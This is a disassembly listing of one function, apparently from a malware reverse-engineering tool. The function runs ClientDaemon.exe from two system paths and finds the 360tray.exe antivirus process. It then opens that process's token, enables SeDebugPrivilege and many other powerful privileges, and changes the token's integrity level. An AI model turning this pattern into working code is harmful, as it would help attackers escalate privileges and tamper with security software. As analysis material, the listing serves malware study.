Function at 0x140003c90
Capabilities:
Acquire debug privileges
Create process on windows
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
call fcn.1400035e0
mov edx, 5
lea rcx, str.C:_recoveryClientDaemon.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 5
lea rcx, str.C:windowsClientDaemon.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor esi, esi
mov dword [rsp + 0x70], 0x130
xor edx, edx
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140003d2c
nop dword [rax]
lea rdx, str.360tray.exe
lea rcx, [rbp - 0x64]
call fcn.14003e750
test eax, eax
je 0x140003d28
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003d00
jmp 0x140003d2c
mov edi, dword [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, edi
call fcn.140005540
mov r8d, edi
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rbp + 0xc0]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rbp + 0xc8]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rax, qword [rbp + 0xc8]
lea r8, [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov r9d, 0x10
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x54], rax
lea edx, [r9 - 0xf]
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003e16
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeChangeNotifyPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003e73
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeTcbPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003ed0
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003f2d
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeLoadDriverPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003f8a
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeRestorePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003fe7
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeBackupPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140004044
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeSecurityPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400040a1
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400040fe
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeIncreaseQuotaPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14000415b
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeTakeOwnershipPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400041b8
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeIncreaseBasePriorityPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140004215
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140004272
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rbx, qword [rbp + 0xc0]
lea r8, [rbp + 0xd0]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400042cf
mov rax, qword [rbp + 0xd0]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor eax, eax
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov word [rsp + 0x40], 0x101
mov byte [rsp + 0x47], 0x10
mov dword [rsp + 0x68], 0x20
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov rcx, qword [rbp + 0xc0]
lea r8, [rsp + 0x60]
mov edx, 0x19
lea r9d, [rax + 0x10]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
call fcn.140002820
call fcn.140002eb0
mov rbx, qword [rsp + 0x1d8]
xor eax, eax
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret